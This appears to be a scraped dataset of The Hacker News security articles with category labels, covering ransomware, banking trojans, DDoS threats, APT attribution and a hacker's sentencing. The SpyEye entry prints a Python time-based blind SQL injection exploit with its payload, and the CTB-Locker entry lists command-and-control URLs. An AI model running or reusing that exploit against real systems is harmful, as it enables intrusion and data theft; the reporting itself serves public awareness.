The exploit uses a TIFF image containing malicious code, and the dangerous image can either be linked to an email or attached directly to it. Depending on the privileges available to the configured BlackBerry Enterprise Server service account, the attacker might also be able to extend access to other non-segmented parts of the network.

BlackBerry Enterprise Server Express version 5.0.4 and earlier for Microsoft Exchange and IBM Lotus Domino and BlackBerry Enterprise Server version 5.0.4 and earlier for Microsoft Exchange, IBM Lotus Domino and Novell Groupwise are affected only.

",Vulnerability
Izz ad-Din al-Qassam Cyber Fighters threaten American Banks again,https://thehackernews.com/2012/12/izz-ad-din-al-qassam-cyber-fighters.html,"The Izz ad-Din al-Qassam Cyber Fighters published a new message on their Pastebin profile , warning of a new round of cyber attacks against U.S. financial institutions, beginning this week.

In September and October, al-Qassam launched widespread distributed denial-of-service (DDoS) attacks against numerous banking websites.

A Bank of America spokesperson told that the bank is ""aware of the reports of possible cyber attacks and [is] monitoring [its] systems, which are fully operational."".

Hacker said in new warning note ,""After stopping one month attack of Izz ad-Din al-Qassam Group to American banks, today, this group has announced a new cycle of attacks, via an Email which has been sent to us, and has acclaimed that its aim is to compensate guilty offends to holy Prophet of Islam, Mohammad(PBUH). Also, in internet conversations earlier, this group had been stated that these attacks won't stopped and even in new announcements, it's been marked that there will be so much stronger attacks in the days ahead.""

This phase two of DDOS attack serious named as ""Operation Ababil"" . Note describe, ""the second phase of the Ababil operation is in ahead and from this week according to the announced plan, will be performed. In new phase, the wideness and the number of attacks will increase explicitly; and offenders and subsequently their governmental supporters will not be able to imagine and forecast the widespread and greatness of these attacks.""

""They didn't pay any attention to the extensive complaints made by Muslims against this offend and also did not take in to account their damaged feelings and behave with them so rudely. We know that they only marked the sensitivity and honor of the Muslims and examine it and now they really observe the consequences of this experiment so strongly.""

While the perpetrators behind the al-Qassam attacks have yet to be identified, the name is a reference to the armed wing of Hamas, although the entire group employs militaristic means and terrorist attacks. U.S. officials have said they believe the attacks are state-sponsored by Iran, but the cyber attackers still insist they are not working for any government.

",Cyber_Attack
"CTB-Locker Ransomware Spreading Rapidly, Infects Thousands of Web Servers",https://thehackernews.com/2016/02/ctb-locker-ransomware.html,"In last few years, we saw an innumerable rise in ransomware threats ranging from Cryptowall to Locky ransomware discovered last week.

Now, another genre of ransomware had been branched out from the family of CTB-Locker Ransomware with an update to infect Websites.

The newly transformed ransomware dubbed ""CTB-Locker for Websites"" exclusively hijacks the websites by locking out its data, which would only be decrypted after making a payment of 0.4 BTC.

This seems to be the very first time when any ransomware has actually defaced a website in an attempt to convince its administrator to comply with the ransom demand.

However, the infected website admins can unlock any 2 files by the random generator for free as a proof of decryption key works.

Here's How CTB-Locker for Websites Ransomware Works

Lawrence explained that CTB-Locker ransomware replaces the index page (the original index.php or index.html) of the servers hosting websites with the attacker's defacement page (a new affected index.php).

The defacement page serves a message informing the site owners that their files have been encrypted, and they need to pay a ransom before a certain deadline.

Once encrypted, the compromised websites display the following message:
""Your scripts, documents, photos, databases and other important files have been encrypted with strongest encryption algorithm AES-256 and unique key, generated for this site.""
The message also contains a step-by-step guide that helps the CTB-Locker victims to make the payment to a specific Bitcoin address.

FREE Key to Decrypt Any 2 Random Files

Soon after gaining the website control, the ransomware attacker submits two different AES-256 decryption keys to the affected index.php.

The first key would be used to decrypt any 2 random files from the locked files for free under the name of ""test"" which are chosen to demonstrate the decryption procedure.

Once the site administrator enters the filename and hit ""Decrypt for Free,"" jquery would be fired up upon the request to test the decryption key in a C&C Server. When the key is received, it'll decrypt any 2 random files and display 'Congratulations! TEST FILES WAS DECRYPTED!!'

The other decryption key would be the one to decrypt rest of the seized files, after making the payment in Bitcoin to the attacker.

All the website's content would be encrypted using an AES-256 algorithm, and a unique ID would be generated for each infected website.

Nearly all possible types of files extensions are being affected by CTB-Locker Ransomware.

Live Session with Ransomware Attackers

Another unique characteristic of the ransomware is giving victims the ability to exchange messages with the ransomware attackers, noted by Lawrence in his blogpost.

The ransomware developers have organized a chat room in such a way that the victims could talk with the ransomware creators after the specifying name of the secret file which is present in the same directory with index.php.

CTB Locker for Website → Modifies Packages in the Server

The CTB-Locker for Website package utilizes a variety of files described below:
index.php : The Main component of CTB-Locker for Websites and contains the encryption and decryption routines as well as the payment page.
allenc.txt : Contains a list of all encrypted files.
test.txt : Contains the path and filenames to two prechosen files that can be decrypted for free.
victims.txt : It contains a list of all files that are to be encrypted. However, the files that are already encrypted will remain in this list.
extensions.txt - The list of file extensions that should be encrypted.
secret_[site_specific_string] : The secret file used by the Free Decrypt and Chat functions and is located in the same folder as the index.php file.

Command and Control Server Location:

According to Benkow Wokned (@benkow_), a security researcher who discovered CTB-Locker for Website, found that the index.php page utilizes the jQuery.post() function to communicate and POST data to the Ransomware's Command and Control (C&C) servers.

Currently, there are three Command and Control servers for CTB-Locker for Websites uncovered by the researchers:
https://erdeni.ru/access.php
https://studiogreystar.com/access.php
https://a1hose.com/access.php
The ransomware also gives a timeslot for the website administrators to recover the files. However, failure to pay the BTC in time would double the ransom amount by 0.8 BTC.

CTB-Locker for Windows

CTB-Locker for Websites isn't the only latest development with this family of ransomware. The ransomware has come to the Windows environment by using executables code signed with a stolen certificate.

Usually, the purpose of digital signature is to authenticate the public about the genuinity of the products. The certificates are provided only after a background check conducted by the Certificate Authorities (CA) like Verizon, DigiCert.

But the cybercriminal group behind the CTB-Locker ransomware has tampered the genuinity of digital certificates. The executable version in the Windows of the CTB Ransomware comes with a pre-signed digital signature.

Uses Encryptor Raas For Code-Signing Certificate

The group behind CBT believed to had taken the advantage of Jeiphoos, another ransomware developer who lets people go to his ""Encryptor RaaS"" Tor site that provides free digital signature certificates and sign any executable using stolen code-signing certificate.

The act of stealing digital signatures is not new as they are included in the frames from the past years.

Hijacking a company website would economically affect the services that are being offered to users via websites, elevating the issue to another level. However, the major part lies in the POS (Point of Sale) attack, if the threat infects an e-commercial website.

Currently, many websites had been compromised by ""CBT-Locker for Website."" As per the analysis, many wordpress sites (most of the static web pages) has been found to be targeted by CBT Website Locker, according to this online blog.

Since this is not a serious issue like the Locky ransomware that utilizes Macros, the website administrator can make use of the untouched mirrors (backups) to bring back the site into action.

",Malware
Symantec Connects 40 Cyber Attacks to CIA Hacking Tools Exposed by Wikileaks,https://thehackernews.com/2017/04/cia-longhorn-hacking.html,"Security researchers have confirmed that the alleged CIA hacking tools recently exposed by WikiLeaks have been used against at least 40 governments and private organizations across 16 countries.

Since March, as part of its ""Vault 7"" series, Wikileaks has published over 8,761 documents and other confidential information that the whistleblower group claims came from the US Central Intelligence Agency (CIA).

Now, researchers at cybersecurity company Symantec reportedly managed to link those CIA hacking tools to numerous real cyber attacks in recent years that have been carried out against the government and private sectors across the world.

Those 40 cyber attacks were conducted by Longhorn — a North American hacking group that has been active since at least 2011 and has used backdoor trojans and zero-day attacks to target government, financial, energy, telecommunications, education, aerospace, and natural resources sectors.

Although the group's targets were all in the Middle East, Europe, Asia, and Africa, researchers said the group once infected a computer in the United States, but an uninstaller was launched within an hour, which indicates the ""victim was infected unintentionally.""

What's interesting is that Symantec linked some of CIA hacking tools and malware variants disclosed by Wikileaks in the Vault 7 files to Longhorn cyber espionage operations.

Fluxwire (Created by CIA) ≅ Corentry (Created by Longhorn)

Fluxwire, a cyber espionage malware allegedly created by the CIA and mentioned in the Vault 7 documents, contains a changelog of dates for when new features were added, which according to Symantec, closely resemble with the development cycle of ""Corentry,"" a malware created by Longhorn hacking group.
""Early versions of Corentry seen by Symantec contained a reference to the file path for the Fluxwire program database (PDB) file,"" Symantec explains. ""The Vault 7 document lists removal of the full path for the PDB as one of the changes implemented in Version 3.5.0.""
""Up until 2014, versions of Corentry were compiled using GCC [GNU Compiler Collection]. According to the Vault 7 document, Fluxwire switched to an MSVC compiler for version 3.3.0 on February 25, 2015. This was reflected in samples of Corentry, where a version compiled on February 25, 2015, had used MSVC as a compiler.""

Similar Malware Modules

Another Vault 7 document details 'Fire and Forget' specification of the payload and a malware module loader called Archangel, which Symantec claims, match almost perfectly with a Longhorn backdoor called Plexor.

""The specification of the payload and the interface used to load it was closely matched in another Longhorn tool called Backdoor.Plexor,"" says Symantec.

Use of Similar Cryptographic Protocol Practices

Another leaked CIA document outlined cryptographic protocols that should be used within malware tools, such as using AES encryption with a 32-bit key, inner cryptography within SSL to prevent man-in-the-middle attacks, and key exchanges once per connection.

One leaked CIA document also recommends using of in-memory string de-obfuscation and Real-time Transport Protocol (RTP) for communicating with the command and control (C&C) servers.

According to Symantec, these cryptographic protocol and communication practices were also used by Longhorn group in all of its hacking tools.

More About LongHorn Hacking Group

Longhorn has been described as a well-resourced hacking group that works on a standard Monday to Friday working week — likely a behavior of a state-sponsored group — and operates in an American time zone.

Longhorn's advanced malware tools are specially designed for cyber espionage with detailed system fingerprinting, discovery, and exfiltration capabilities. The group uses extremely stealthy capabilities in its malware to avoid detection.

Symantec analysis of the group's activities also shows that Longhorn is from an English speaking North American country with code words used by it referring, the band The Police with code words REDLIGHT and ROXANNE, and colloquial terms like ""scoobysnack.""

Overall, the functionality described in the CIA documents and its links to the group activities leave ""little doubt that Longhorn's activities and the Vault 7 documents are the work of the same group.""

",Malware
"Vulnerability Discovered in SpyEye Botnet, Exploit Available for Download",https://thehackernews.com/2011/09/vulnerability-discovered-in-spyeye.html,"Vulnerability Discovered in SpyEye Botnet, Exploit Available for Download

Blind SQL injection Vulnerability Discovered in SpyEye Botnet by S4(uR4 ( r00tw0rm.com )

Exploit :
Vulnn type : Blind SQL injection
vuln script : frm_cards_edit.php
Affected version : ALL
May use any botnet from : https://spyeyetracker.abuse.ch/monitor.php

What is SpyEye ?
W32/SpyEye
Aliases : This is a list of aliases for the variant of SpyEye discovered in early February 2011 that has been actively targeting Norwegian banking websites:
Trojan-Spy.Win32.SpyEyes.evg (Kaspersky)
PWS-Spyeye.m (McAfee)
Trojan:Win32/EyeStye.H (Microsoft)
A variant of Win32/Spy.SpyEye.CA (NOD32)
W32/Malware.QOOC (Norman)
Trojan.Zbot (Symantec)
Mal_Xed-24 (Trend Micro)
Brief overview
SpyEye is a trojan with backdoor capabilities that attempts to steal sensitive information related to online banking and credit card transactions from an infected machine. SpyEye is sold via its author in an easy to configure kit form, which contains the trojan executable itself, command and control (C&C) server and basic configuration for targeting banking websites. As of the beginning of 2011, SpyEye has merged functionality from the ZeuS trojan family, which has been sold to the SpyEye author, and is now becoming more sophisticated with respect to the features and functionality offered.

SpyEye can potentially utilise a number of techniques in order to obtain a users online banking credentials, typically employing a phishing-style attack by presenting a faked logon web page, which is usually based on the original logon page from the bank, but that has additional HTML form fields and JavaScript inserted within, in order to obtain logon credentials that are not normally part of the logon process, such as PIN/TAN codes. A copy of the HTTP POST request is sent to the SpyEye C&C server, from which an attacker can extract the banking credentials or credit card details, and start conducting their own fraudulent transactions.
Download Exploit

Exploit Preview :
Example:
Spyeye_r0073r /dir/""version()""
""""""
if len(argv)<=3: exit() else: print ""[+]Started pwn..."" host = argv[1] path = argv[2] sql = argv[3] port = 80 hash = """" full = [] for k in range(48,122): full.append(k) full.append(0) # full value [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 0] # This is the charset to try delay = 0.5 a=1 while a <= 32: for i in full: j = 0 if i == 0: exit('\n[+]Finished\n') # start = time() # start time for the delay conn = HTTPConnection(host,port) #values = { ""id"" : ""1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING((4.0.5),a,1)),0)=""K""),BENCHMARK(9000000,SHA1(1)),1));-- /*"" } values = { ""id"" : ""1 AND (SELECT IF((IFNULL(ASCII(SUBSTRING(("" + sql + ""),"" + str(j) + "",1)),0)="" + str(i) + ""),BENCHMARK(9000000,SHA1(1)),1));-- /*"" } data = urllib.urlencode(values) print data conn.request(""GET"", path + ""frm_cards_edit.php?"" + data ) response = conn.getresponse() read = response.read() print read if response.status == 404: exit('[+]404') #404 now = time() if now - start > delay:
#has come true then the character is valid
stdout.write(chr(i))
stdout.flush()
hash += chr(i)
a += 1
break;
else: j += 1
print ""i vale %s, y J vale %s"" %(i,j)

",Malware
BankBot Returns On Play Store – A Never Ending Android Malware Story,https://thehackernews.com/2017/11/bankbot-android-malware.html,"Even after so many efforts by Google for making its Play Store away from malware, shady apps somehow managed to fool its anti-malware protections and infect people with malicious software.

A team of researchers from several security firms has uncovered two new malware campaigns targeting Google Play Store users, of which one spreads a new version of BankBot, a persistent family of banking Trojan that imitates real banking applications in efforts to steal users' login details.

BankBot has been designed to display fake overlays on legitimate bank apps from major banks around the world, including Citibank, WellsFargo, Chase, and DiBa, to steal sensitive information, including logins and credit card details.

With its primary purpose of displaying fake overlays, BankBot has the ability to perform a broad range of tasks, such as sending and intercepting SMS messages, making calls, tracking infected devices, and stealing contacts.

Google removed at least four previous versions of this banking trojan from its official Android app store platform earlier this year, but BankBot apps always made their ways to Play Store, targeting victims from major banks around the world.

The second campaign spotted by researchers not only spreads the same BankBot trojan as the first campaign but also Mazar and Red Alert. This campaign has been described in detail on ESET blog.

According to an analysis performed by the mobile threat intelligence team at Avast in collaboration with ESET and SfyLabs, the latest variant of BankBot has been hiding in Android apps that pose as supposedly trustworthy, innocent-looking flashlight apps.

First spotted by the researchers on 13 October, the malicious BankBot apps uses special techniques to circumvent Google's automated detection checks, such as starting malicious activities 2 hours after the user gave device admin rights to the app and publishing the apps under different developer names.

After tricking victims into downloading them, the malicious apps check for the applications that are installed on the infected device against a hard-coded, list of 160 mobile apps.

According to the researchers, this list includes apps from Wells Fargo and Chase in the U.S., Credit Agricole in France, Santander in Spain, Commerzbank in Germany and many other financial institutions from around the world.
If it finds one or more apps on the infected smartphone, the malware downloads and installs the BankBot APK from its command-and-control server on the device, and tries to trick the victim into giving it administrator rights by pretending to be a Play Store or system update using a similar icon and package name.

Once it gets the admin privileges, the BankBot app displays overlay on the top of legitimate apps whenever victims launch one of the apps from the malware's list and steal whatever banking info the victim's types on it.

The Avast Threat Labs has also provided a video demonstration while testing this mechanism with the app of the local Czech Airbank. You can see how the app creates an overlay within milliseconds and tricks the user into giving out their bank details to criminals.

Since many banks use two-factor-authentication methods for secure transactions, BankBot includes functionality that allows it to intercept text messages, allowing criminals behind BankBot to steal mobile transaction number (mTAN) sent to the customer's phone and transfer money to their accounts.

Here's one important thing to note is that Android mechanism blocks apps installation from outside the Play Store. Even if you have already permitted installation from unknown sources, Google still requires you to press a button to continue such installations.
""Unlike this newer version of BankBot, droppers from previous campaigns were far more sophisticated,"" the researchers note. ""They applied techniques such as performing clicks in the background via an Accessibility Service to enable the installation from unknown sources.""
The latest BankBot version does not utilize this Accessibility Service feature due to Google's recent move of blocking this feature for all applications, except those designed to provide services for the blind.

Google has already removed all recently-discovered BankBot apps after being notified by the researchers.

Although it is a never-ending concern, the best way to protect yourself is always to be vigilant when downloading apps even from Google's official Play store. So, always verify app permissions and reviews before downloading an app from Google Play Store.

Even though the BankBot apps made it way into the Play Store, its payload was downloaded from an external source. So, don't allow any unknown third-party APK to be installed on your smartphone.

To do so, Go to Settings → Security and then Turn OFF ""Allow installation of apps from sources other than the Play Store.""

Most importantly, be careful which apps you give administrative rights to, as it is powerful and can provide a full app control of your device.

",Malware
Ransomware Attacks Threaten Wearable Devices and Internet of Things,https://thehackernews.com/2015/08/ransomware-android-smartwatch.html,"Are you a proud owner of a Smartwatch, a Smart TV, a Smart fridge, a Smart lock, an Internet-enabled car, or live in a smart city?

Caution!

Recently, it has been reported that the growth of the Internet of Things would eventually lead to cyber criminals in making lots of money, as they started attacking the Internet of Things for Ransom.

Yes, the latest Interest of the cyber criminals in the field of Internet of Things is 'Ransomware'.

Internet of Things (IoT) such as Android and iOS-based wearable Smartwatches and the concept of connected homes has now given a treat to the current generation Ransomware.

With the advancements in Technology, cyber criminals are simultaneously promoting themselves from the threat known for restricting computers or encrypting files and asking users for money in return for gaining back access to their systems.

From computers to mobile phones, now criminals are targeting the IoT and the wearables devices.

Security researchers at Symantec demonstrated how an Android Wear device might be impacted by typical Android ransomware.

In order to conduct this test, the researchers simply repackaged a current Android ransomware app (.apk file) – dubbed ""Android.Simplocker"", inside a new Android Wear project.

Next, they took a Moto 360 Smartwatch and paired it with an Android phone. When they installed the new .apk file on the phone, they found that the phone became infected with the ransomware.

As the Smartwatch and an Android phone are required to be paired via Bluetooth for wireless connectivity, the ransomware also got pushed onto the smartwatch once the pairing of both the devices were done.

Once installed on the smartwatch, the malware could be easily activated by the user if they were tricked into running it, by clicking on a malicious app.

After installation, the ransomware will cause the smartwatch to become unresponsive and unusable!

Simplocker Android ransomware then checks for the display of the ransom message every second, and if it is not shown, will push it onto the screen again.

In addition, Simplocker encrypts a range of different files stored on the smartwatch's SD card.

Now, you must be thinking of escaping from the situation?

You can recover from this situation, but unfortunately, it involves a factory reset of your smartwatch.

But there also stands a condition where the rebooting of the device through hardware buttons is possible, then quickly navigating to the factory reset setting (within 20-30 seconds) before the ransomware is rebooted.

According to Symantec, while this would erase all files on the smartwatch, those files would have been encrypted by the malware in the first place.

For this one needs to keep an updated backup.
No such ransomware has been seen yet, but the day is not far when this becomes a reality.

As, in the past it was evident how smart Televisions got attacked with the ransomware also IoT devices being remotely controlled by the attacker.

Therefore, the crux is that the users need to be more vigilant and even smarter than the technology they are dependent on.

",Malware
Duuzer Trojan: A New Backdoor Targeting South Korean Organizations,https://thehackernews.com/2015/10/computer-malware-attack.html,"Security researchers at Symantec have uncovered a new Backdoor Trojan that grants hackers remote access and some control over infected machines.

""Duuzer,"" as dubbed by the researchers, has been targeting organizations in South Korea and elsewhere in an attempt to steal valuable information.

The Trojan is designed to infect both 32-bit and 64-bit computers running Windows 7, Windows Vista, and Windows XP.

Duuzer gives attackers remote access to the compromised computer, allowing them to:
Collect system and drive information
Create, enumerate, and end processes
Access, modify and delete files
Upload and Download additional files
Change the time attributes of files
Execute malicious commands
Steal data from infected system
Know about victim's Operating System

Duuzer Infects via Spear Phishing or Watering Hole Attacks

It is currently unclear how the malware is being distributed, but according to Symantec Researchers, the most obvious routes are Spear Phishing campaigns and Watering Hole attacks.

Once infected, Duuzer checks if the system is running on a virtual machine like VMWare or Virtual Box to ensure that security researchers are not analyzing the malware before performing its malicious routines.

Moreover, the Trojan identifies the existing software configured to run on startup and takes the name of that legitimate software on an infected computer and spread across the system.

Duuzer's first sets up a backdoor on the machine, allowing attackers physical access to the system.

The attackers then manually run commands through the backdoor on affected computers. They can perform a variety of operations mentioned above.
""Based on our analysis of Duuzer, the attackers behind the threat appear to be experienced and have knowledge about security researchers' analysis techniques,"" researchers said. ""Their motivation seems to be obtaining valuable information from their targets' computers.""

'Brambul' Worm and 'Joanap' Trojan also Detected

Research also discovered a dropper that infects computers with a worm known as Brambul and a Backdoor Trojan called Joanap. Both of them mostly work together and typically used to log and monitor infected systems remotely.

It is still unclear how the dropper is being distributed; however, it is believed that it comes from malicious emails.

The worm detected as W32.Brambul uses brute-force attacks via the Server Message Block (SMB) protocol to spread from one computer to another.

Once infected, the Brambul worm connects to random IP addresses on the local network and authenticates itself through SMB using common passwords, like 'password,' 'login,' '123123,' 'abc123' and 'iloveyou.'

Besides attacking other computers via SMB, Brambul creates a network share on compromised computers, usually the system drive, and then sends the computer's details and login credentials to a predefined email address.

Connection between Duuzer, Brambul and Joanap

According to Symantec, Duuzer has a connection with both Joanap and Brambul...But how?

Once infected, Brambul drops other pieces of malware on infected machines, either Duuzer or Joanap.

Systems infected with Brambul have been used as command-and-control (CnC) servers for Duuzer and have also been compromised with Duuzer.

If Joanap is dropped, the Trojan will register itself as a local OS service, named ""SmartCard Protector."" The Trojan opens a backdoor on the compromised machine and starts:
Sending specific files to the attackers
Saving or deleting files
Downloading and executing files
Executing or terminating processes
Propagating instructions it receives from the C&C server

How to get rid of this ARMY?

Though Duuzer, Brambul, and Joanap are just a small selection of many threats affecting South Korean organizations with a very low-risk level.

But still, it is recommended for the users and businesses to keep themselves safe and protected by following these steps and prevent their systems from being compromised with this malware:
Use a firewall to block all incoming connections from the Internet to services that shouldn't be publicly available.
You should, by default, deny all incoming connections and only allow services you explicitly want to offer to the outside world.
Use Complex Passwords as it makes it difficult to crack.
Turned OFF Bluetooth if it is not required for mobile devices. Also, turn off other services not required at present.
Train your employees not to open email or messages attachments unless they are expecting them.
For more details, head on the Symantec's official blog.

",Data_Breaches
Dyre Wolf Banking Malware Stole More Than $1 Million,https://thehackernews.com/2015/04/dyre-wolf-banking-malware.html,"Security researchers have uncovered an active cyber attack campaign that has successfully stolen more than $1 Million from a variety of targeted enterprise organizations using spear phishing emails, malware and social engineering tricks.

The campaign, dubbed ""The Dyre Wolf"" by researchers from IBM's Security Intelligence division, targets businesses and organizations that use wire transfers to transfer large sums of money, even if the transaction is protected by 2-factor authentication.

A MIXTURE OF MALWARE, SOCIAL ENGINEERING & DDoS
Nowadays, cybercriminals not only rely on banking Trojans to harvest financial credentials, but also using sophisticated social engineering tactics to attack big corporations that frequently conduct wire transfers to move large sums.
""An experienced and resource-backed [cyber criminal] gang operates Dyre,"" John Kuhn, Senior Threat Researcher at IBM Managed Security Service, wrote in a blog post published Thursday.
""[Dyre] was used in wide-stroke [cyber] attacks for the past year and has now moved into a more [indecent] stage of attacking corporate accounts via the incorporation of skilled social engineering schemes.""
In addition to the advanced social engineering tricks, the Dyre criminal gang also employs distributed denial-of-service (DDoS) attacks against the targeted bank or businesses in order to distract attention and resources from the theft and to prevent victims from logging into the bank account until it was too late.

HOW THE ATTACK WORKS
The attack starts with a spear phishing email reaches into your organization with an attachment claiming to be a document of financial importance, like an invoice, but is actually an 'Upatre downloader'.

Once opened, Upatre downloads and executes the Dyre Trojan into the victim's system which, according to IBM researchers, went undetected by the majority of antivirus software programs.

Dry Trojan has capability to hijack victim's address book and send out mass emails to all of them via Outlook. The malware then monitors victim's activities and waits for further action.

The process gets interesting when the victim with an infected computer tries to log into one of the hundreds bank sites which the trojan is programmed to monitor, Dyre displays new screen with a message stating that the site is experiencing some issues and that you must call the number provided to make the transaction.

Once you call the number given, you'll assisted by a real person, not an automated one. This is the uniqueness and the extent of social engineering trick used by Dyre attackers that use real persons as the part of their attack.

The attackers then retrieve all the information from the victim, and as soon as the victim hangs up the phone, the wire transfer is made by the crooks on the other end of the phone.

At the time, when the money is being bounced from bank to bank to circumvent detection by the bank and law enforcement, the targeted organization's website will be subjected to a DDoS attack. The idea behind the DDoS attack is to prevent the victim from accessing the bank account.

STEPS TO PROTECT AGAINST THE DYRE WOLF
IBM security researchers recommend the following steps to users in order to protect against the attack:
Organizations should train its employees on security best practices.
Conduct periodic mock phishing exercises where employees receive emails or attachments that simulate a malicious behavior. Then using that findings, discuss the growing security threats with them.
Provide security trainings to its employees in order to help understand threats and measures they can take to protect their organization.
Regular reminders on phishing and spam campaigns should be provided to employees in order to prevent them to open any suspicious attachments or links.
As the banks never ask for banking credentials, employees should be trained to never provide this information to anyone.
The Dyre Wolf campaign has already ripped off organizations for $500,000 (€450,000) and more than $1 Million (€910,000) per attack. However, this much large sums of money are not transferred without alarming the organizations, but cybercriminals have focused only on those banks that transfer large sums of money without triggering alarms.

",Malware
Searching for Leaked Celebrity Photos? Don't Blindly Click that Fappening Link!,https://thehackernews.com/2017/03/fappening-leaked-photos.html,"Are you curiously googling or searching torrents for photos or videos of Emma Watson, Amanda Seyfried, Rose McGowan, or any other celebrities leaked in The Fappenning 2.0?

If yes, then beware, you should not click any link promising Fappenning celebrity photos.

Cybercriminals often take advantage of news headlines in order to trap victims and trick them into following links that may lead to websites containing malware or survey scams.

Last week, a few private photos of Emma Watson and Amanda Seyfried — ranging from regular selfies to explicitly sexual photos — were circulating on the Internet forums, including Reddit and 4chan, with UK's TV presenter Holly Willoughby and US actor Rose McGowan among the latest alleged victims.

Now, according to the security researchers from MalwareBytes, scammers are exploiting this new batch of leaked celebrity photos and videos by using their stolen selfies to lure victims on social media sites and making dollars.

Also Read: Hackers Threaten to Remotely Wipe 300 Million iPhones Unless Apple Pays Ransom

One of the scam campaigns uncovered by MalwareBytes targets Twitter users, promising them to follow mentioned links to access leaked embarrassing private photos of British WWE star Paige – whose intimate photos and videos, among other celebs, were leaked online last week without her permission in an act dubbed ""The Fappening 2.0.""
The Fappening 2.0 is named after similar leaks in 2014 when some anonymous hackers flooded the Internet with private photographs of Jennifer Lawrence, Kim Kardashian, Kate Upton and many hundreds of other celebrities by hacking their Apple's iCloud accounts.

Don't Install Any App To View Leaked Fappening Images — It's a Malware!
The latest scams spreading on Twitter read:
""VIDEO: WWE Superstar Paige Leaked Pics and Videos""
""Incredible!!! Leaked Pics and Videos of WWE Superstar Paige!!!!: [url] (Accept the App First)""
For accessing the content, scammers told you to first install a twitter app called ""Viral News."" In the hope of a glimpse of Paige's video, victims tricked into giving the malicious app permission to access their Twitter account, update their profile and post tweets on their behalf.

Once the app is installed, you are then sent to a site that serves no purpose other than enabling crooks to make money from affiliate marketing and advertising link clicks.

The site quickly grays out, asking you to click yet another link that eventually lands you on a survey page that promises to reward you with an Amazon gift card as soon as you hand over your details.
""Suffice to say, filling this in hands your personal information to marketers – and there is no guarantee you will get any pictures at the end of it,"" said Chris Boyd, a malware intelligence analyst at Malwarebytes.
Malware Hijacks Twitter Accounts to Spread Fappening Spam
While you are looking through all these links, the creepy app spams out the same tweets from your account, leading your followers to the same The Fappening 2.0 scam you fell for.

So far nearly 7,000 users have become a victim of the latest scam.
""As freshly leaked pictures and video of celebrities continue to be dropped online, so too will scammers try to make capital out of image-hungry clickers. Apart from the fact that these images have been taken without permission so you really shouldn't be hunting for them, anyone going digging on less than reputable sites is pretty much declaring open season on their computers,"" Boyd concluded.
Here are some useful tips you can follow in an effort to protect yourself from scams shared through social media:
Don't take the bait. Stay away from promotions of ""exclusive,"" ""shocking"" or ""sensational"" photos or footage. If it sounds too outlandish to be true, it is probably a scam.
Hover over links to see their real destination. Before you click on any link, mouseover the link to see where it'll take you. Do not click on links leading to unfamiliar sites.
Don't trust your friends online. It might not actually be your friends who are liking or sharing scam links to photos. Their account may have been hijacked by scammers.
Raise your Eyebrows when asked for something in return. Beware of any site that asks you to download and install software in order to view anything else, in this case, photos and videos of Paige. This is a known tactic of spreading scam.

",Malware
"Russian Who Hacked LinkedIn, Dropbox Sentenced to 7 Years in Prison",https://thehackernews.com/2020/10/russian-linkedin-hacker.html,"A Russian hacker who was found guilty of hacking LinkedIn, Dropbox, and Formspring over eight years ago has finally been sentenced to 88 months in United States prison, that's more than seven years by a federal court in San Francisco this week.
Yevgeniy Aleksandrovich Nikulin, 32, of Moscow hacked into servers belonging to three American social media firms, including LinkedIn, Dropbox, and now-defunct social-networking firm Formspring, and stole data on over 200 million users.
Between March and July 2012, Nikulin hacked into the computers of LinkedIn, Dropbox, and Formspring, and installed malware on them, which allowed him to remotely download user databases of over 117 Million LinkedIn users and more than 68 Million Dropbox users.
According to the prosecutor, Nikulin also worked with unnamed co-conspirators of a Russian-speaking cybercriminal forum to sell customer data he stole as a result of his hacks.
Besides hacking into the three social media firms, Nikulin has also been accused of gaining access to LinkedIn and Formspring employees' credentials, which helped him carry out the computer hacks.
""The Court also found that Automattic, parent company of Wordpress.com, was the victim of an intrusion by defendant, although there was no evidence that defendant stole any customer credentials,"" the Justice Department said.
Nikulin was arrested in Prague on October 5, 2016, by Interpol agents working in collaboration with the FBI, and extradited to the United States in March 2018 after a long extradition battle between the U.S. and Russia.
In 2016, the hacker was charged with nine felony counts of computer intrusion, aggravated identity theft, causing damage to a protected computer, trafficking in unauthorized access devices, and conspiracy.
However, after a long delay of trials due to the coronavirus pandemic, Nikulin was found guilty by a federal jury of the United States in early July this year and was sentenced to 88 months in prison on September 29.
U.S. District Judge William H. Alsup convicted Nikulin of selling stolen usernames and passwords, installing malware on protected computers, conspiracy, computer intrusion, and aggravated identity theft.
Prior to the sentencing hearing on September 29, federal prosecutors sought a sentence of 145 months in prison, that's over 12 years in prison, three years of supervised release, and restitution.
Nikulin has been in U.S. custody since his extradition from the Czech Republic and will be serving his sentence effect immediately.

",Data_Breaches
SSL Encryption — Securing Internet of Things (IoT),https://thehackernews.com/2015/08/ssl-encryption-internet-of-things.html,"Internet of Things (IoT) with the purpose of providing convenience to the users enabled every object in the universe to be as smart as a whip.

By assigning IP address to all sorts of devices, ranging from household appliances, machines, medical devices and sensors to other day-to-day objects, and putting them all together on a standardised network is a common Internet of Things (IoT) practice.

Is Internet of Things Secure?

In my previous articles, I gave you a glance of the most vulnerable smart cities that are increasingly adopting devices connected to the Internet in an attempt to add convenience and ease to daily activities.

By 2020, there will be more than 45 Billion Internet-connected devices that will transform the way we live and work.

The bottom line:

As the number of IoT enabled systems increases, the complexity of handling them increases; leading to an introduction of new risk and vulnerabilities associated with them.

Security of Internet of Things (IoT) Can't Be Ignored

The risks can be mitigated by more robust authentication methods at the time when the 'Internet-connected devices' initiate communication with each other, hence developing secure identification management.

For secure communication among the IoT devices, many security mechanisms and protocols have been implemented, including:
Public Key Infrastructure (PKI) system for securing communications between the Internet-connected devices.
Secure Socket Layer (SSL) protocol implementation for IoTs to encrypt their communication over the network.
As it is evident, Security solutions for embedded devices connected to the Internet is also necessary. The devices also need to be secured from attacks like eavesdropping, DDoS and tampering of network traffic.

SSL Encryption for Internet of Things (IoT)

For SSL/TLS implementation in IoT devices, INSIDE Secure has introduced a new open source embedded SSL called MatrixSSL Tiny as an extension to MatrixSSL - a source for web servers to implement encryption layer for secure management of remote devices.

